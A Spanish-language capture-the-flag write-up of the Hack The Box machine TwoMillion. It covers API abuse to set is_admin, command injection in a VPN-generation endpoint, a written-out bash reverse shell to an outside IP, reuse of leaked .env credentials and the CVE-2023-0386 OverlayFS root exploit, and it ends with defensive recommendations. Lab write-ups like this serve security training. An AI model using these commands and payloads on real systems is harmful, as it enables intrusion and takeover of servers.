> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/hackthebox/facil/twomillion.md).

# TwoMillion

## Introduccion

En esta maquina de Hack The Box se compromete un servidor Linux a partir de una API expuesta. La ruta pasa por generar un codigo de invitacion, registrarse en la plataforma, abusar de endpoints administrativos para elevar el rol del usuario y explotar una inyeccion de comandos en la generacion de VPN.

Despues del acceso inicial se extraen credenciales desde la configuracion de la aplicacion, se salta al usuario `admin` y se escala a `root` aprovechando una vulnerabilidad de OverlayFS.

***

## Escaneo y enumeracion

Se comienza con un escaneo de Nmap contra la maquina:

```bash
nmap -sCV -p- --open -Pn -n -T4 10.129.1.38
```

![Escaneo de confirmacion](/files/g9sbxeFcFJl2NSLMz5uS)

El escaneo muestra dos servicios abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 8.9p1 Ubuntu |
| 80/tcp | HTTP     | nginx                |

Se anade el dominio al archivo `/etc/hosts`:

```
10.10.11.221  2million.htb
```

Al visitar la web aparece una version conmemorativa de Hack The Box:

![Web principal](/files/mC02tJE19AUhu4TrfOod)

La aplicacion no permite registrarse directamente sin codigo de invitacion:

![Registro](/files/iIvnLMFDxjFIYFoL8fjj)

Con Gobuster se enumeran rutas interesantes de la aplicacion:

```bash
gobuster dir -u http://2million.htb/ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh -b 404 -t 60 --exclude-length 162
```

![Gobuster](/files/zpHRTdtC9mFj69GdNB3l)

Entre los resultados aparecen rutas como `/home`, `/login`, `/register`, `/invite` y `/api`.

***

## Generacion del codigo de invitacion

Desde la pagina de login y registro se revisa el JavaScript cargado por la aplicacion:

![Login](/files/bCWYJdVb0xoQzwPw1IqF)

En los recursos aparece logica relacionada con invitaciones:

![JavaScript invite](/files/tR5fjHcXHK4V5zbBmUYh)

Se localiza un endpoint que indica como generar codigos:

```bash
curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
```

![Endpoint how to generate](/files/stNYqB72QffkL7zVNna2)

La respuesta viene codificada, por lo que se decodifica el texto devuelto:

![Respuesta codificada](/files/iKruL3yWlgsAirJhZnuR)

![Decodificacion](/files/vh1yXvHBWJrkhexhJh2Z)

Con la pista clara, se llama al endpoint de generacion:

```bash
curl -s -X POST http://2million.htb/api/v1/invite/generate
```

![Generar invite code](/files/V2tH6jaxwhUzYUcfmmd4)

La API devuelve un codigo en Base64. Tras decodificarlo se obtiene el invite y se completa el registro:

![Registro con invite](/files/iwmHJeeLePUT8GpMiNYk)

***

## Enumeracion de la API

Una vez dentro, Burp permite ver las peticiones autenticadas y la cookie de sesion:

![Burp autenticado](/files/iTznivhn6GRhzLpjYTmz)

Se prueba el endpoint principal de la API:

```bash
curl -s http://2million.htb/api --cookie "PHPSESSID=..." | jq
```

![Version API](/files/5CvWU323DpikORTI7IMb)

La respuesta indica que existe la version `/api/v1`. Se consulta esa ruta para listar endpoints:

```bash
curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=..." | jq
```

![Endpoints API](/files/Y0Lavxj4pW9LUjrvuVnk)

Tambien se revisa la peticion en modo verbose para confirmar cabeceras y sesion:

![Consulta verbose](/files/HSU5IxBovnrKEcGDwVbC)

La respuesta enumera rutas de usuario y rutas administrativas. Entre ellas destacan:

```
/api/v1/user/vpn/generate
/api/v1/admin/auth
/api/v1/admin/vpn/generate
/api/v1/admin/settings/update
```

Al consultar si el usuario actual es administrador, la API responde negativamente:

![admin auth false](/files/LApsLbq9LYOR14zL2ths)

Probando el endpoint de actualizacion de ajustes sin cabecera JSON, la API devuelve un error de `Content-Type`:

![Content-Type invalido](/files/IFsczXO0hCVk9leR8dFy)

Al anadir `Content-Type: application/json`, el endpoint revela los parametros que necesita. Primero pide `email`:

![Falta email](/files/r5tOwQh4tavbEXAhVRxG)

Despues, enviando el email, pide tambien `is_admin`:

![Falta is\_admin](/files/zZfBMGpY8eWQoHFl7oyl)

Si `is_admin` se envia como booleano, la aplicacion indica que el valor debe ser `0` o `1`:

![is\_admin debe ser 0 o 1](/files/YzlvShczP9Bt4qx5I21g)

Finalmente se envia una peticion `PUT` modificando el propio usuario y estableciendo `is_admin` a `1`:

```bash
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
  -H "Content-Type: application/json" \
  -H "Cookie: PHPSESSID=..." \
  -d '{"email":"alberto@gmail.com","is_admin":1}'
```

![Cambio a admin](/files/B97YfG2DReqOmZ97KJYl)

La respuesta ya muestra el campo `is_admin` con valor `1`, asi que el usuario queda convertido en administrador.

***

## Inyeccion de comandos en la VPN

Con privilegios de administrador se prueba el endpoint:

```
/api/v1/admin/vpn/generate
```

![Falta username](/files/43gC0MN7fEV68HhOOLZv)

El endpoint pide el parametro `username`. Enviando un usuario valido, genera una configuracion OpenVPN:

![VPN generada](/files/T9RaHYnAZ7zA3dr5ekyH)

El parametro `username` acaba llegando a un comando del sistema. Se confirma la inyeccion concatenando `id`:

![Command injection id](/files/2TDwGlqOa9Aq1yzzQkY5)

La ejecucion se produce como `www-data`.

Se prepara una reverse shell en Bash dentro del parametro vulnerable:

```bash
bash -c 'bash -i >& /dev/tcp/10.10.14.56/4444 0>&1'
```

Para evitar problemas con caracteres especiales, se codifica el payload en Base64:

![Payload Base64](/files/na7uf8QzSjKKFjdpj2W4)

Y se envia para que el servidor lo decodifique y ejecute con Bash:

![Payload enviado](/files/iN6H4DzL0P83RXGnuy6y)

Con Netcat a la escucha se recibe conexion y se obtiene shell como `www-data`:

```bash
nc -lvnp 4444
```

***

## Enumeracion local

En la raiz de la aplicacion se encuentran archivos PHP y el fichero `.env`:

![Directorio aplicacion y .env](/files/lq5kbKhFBybrSs8i8kB3)

El archivo `.env` contiene credenciales de base de datos:

```
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
```

Con esas credenciales se accede a MariaDB:

```bash
mysql -u admin -p
```

![Bases de datos](/files/HatOQ2oIknWkNvwP9Epx)

La base `htb_prod` contiene tablas de usuarios e invitaciones:

![Tablas htb\_prod](/files/dOCelVULisINuPMnYIwe)

En la tabla `users` se observan los usuarios registrados y sus hashes:

![Usuarios de la base de datos](/files/17KReWYjRdExzNoc4de6)

Aunque la base de datos ayuda a entender la aplicacion, la password encontrada en `.env` se reutiliza para el usuario del sistema `admin`.

***

## Movimiento al usuario admin

Se revisa `/etc/passwd` y se confirma que existe el usuario local `admin`. La password del `.env` permite cambiar a ese usuario:

```bash
su admin
```

![Cambio a admin](/files/Jr3N2eCbI9I3gKZbHgbC)

En `/var/mail` aparece un correo para `admin`:

![Correo de admin](/files/5Q29bIToV3WgmN7C0CFl)

El mensaje advierte de una vulnerabilidad reciente en OverlayFS:

![Mail OverlayFS](/files/DJFWchLtWC6VgEkMaeb0)

La pista apunta hacia `CVE-2023-0386`, una escalada local de privilegios en Linux mediante OverlayFS.

***

## Escalada de privilegios con OverlayFS

Se transfiere un exploit de `CVE-2023-0386` a la maquina y se compila:

![Compilacion exploit](/files/HAvTDuVLpCLs8A6CPk38)

Despues se ejecuta el binario generado:

```bash
./fuse ./ovlcap/lower ./gc
```

![Ejecucion fuse](/files/XNE5Uz0fxhOlwCNu4cbd)

En otra terminal se lanza la segunda parte del exploit:

```bash
./exp
```

![Root](/files/DS5OmnnDRmKtbUrakTRZ)

El resultado es una shell con privilegios de `root`.

***

## Conclusion

TwoMillion encadena varios fallos muy representativos en aplicaciones web con API:

* Flujo de invitaciones reversible desde JavaScript y endpoints expuestos
* Registro posible tras generar un invite code desde la propia API
* Endpoint administrativo sin control de autorizacion suficiente
* Escalada de rol manipulando `is_admin`
* Inyeccion de comandos en la generacion de VPN
* Credenciales sensibles dentro de `.env`
* Reutilizacion de password para saltar al usuario `admin`
* Escalada local mediante `CVE-2023-0386` en OverlayFS

### Puntos clave

| Fase               | Tecnica                      | Resultado                                 |
| ------------------ | ---------------------------- | ----------------------------------------- |
| Reconocimiento     | Nmap                         | SSH y HTTP expuestos                      |
| Enumeracion web    | Revision de JavaScript       | Descubrimiento de endpoints de invitacion |
| Acceso web         | Invite code generado por API | Registro en `2million.htb`                |
| API abuse          | IDOR / control de rol debil  | Usuario convertido en admin               |
| Explotacion        | Command Injection            | Shell como `www-data`                     |
| Credenciales       | Lectura de `.env`            | Password reutilizable                     |
| Movimiento lateral | `su admin`                   | Shell como `admin`                        |
| Escalada           | OverlayFS CVE-2023-0386      | Shell como `root`                         |

### Recomendaciones

* No exponer logica sensible de invitaciones en JavaScript cliente
* Aplicar controles de autorizacion en todos los endpoints administrativos
* Impedir que el usuario pueda modificar campos de privilegio como `is_admin`
* Validar y sanear parametros usados en comandos del sistema
* Evitar construir comandos con concatenacion de entrada de usuario
* Proteger archivos `.env` y secretos de aplicacion
* Evitar reutilizar passwords entre servicios y usuarios locales
* Mantener el kernel actualizado frente a vulnerabilidades locales como OverlayFS


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/hackthebox/facil/twomillion.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
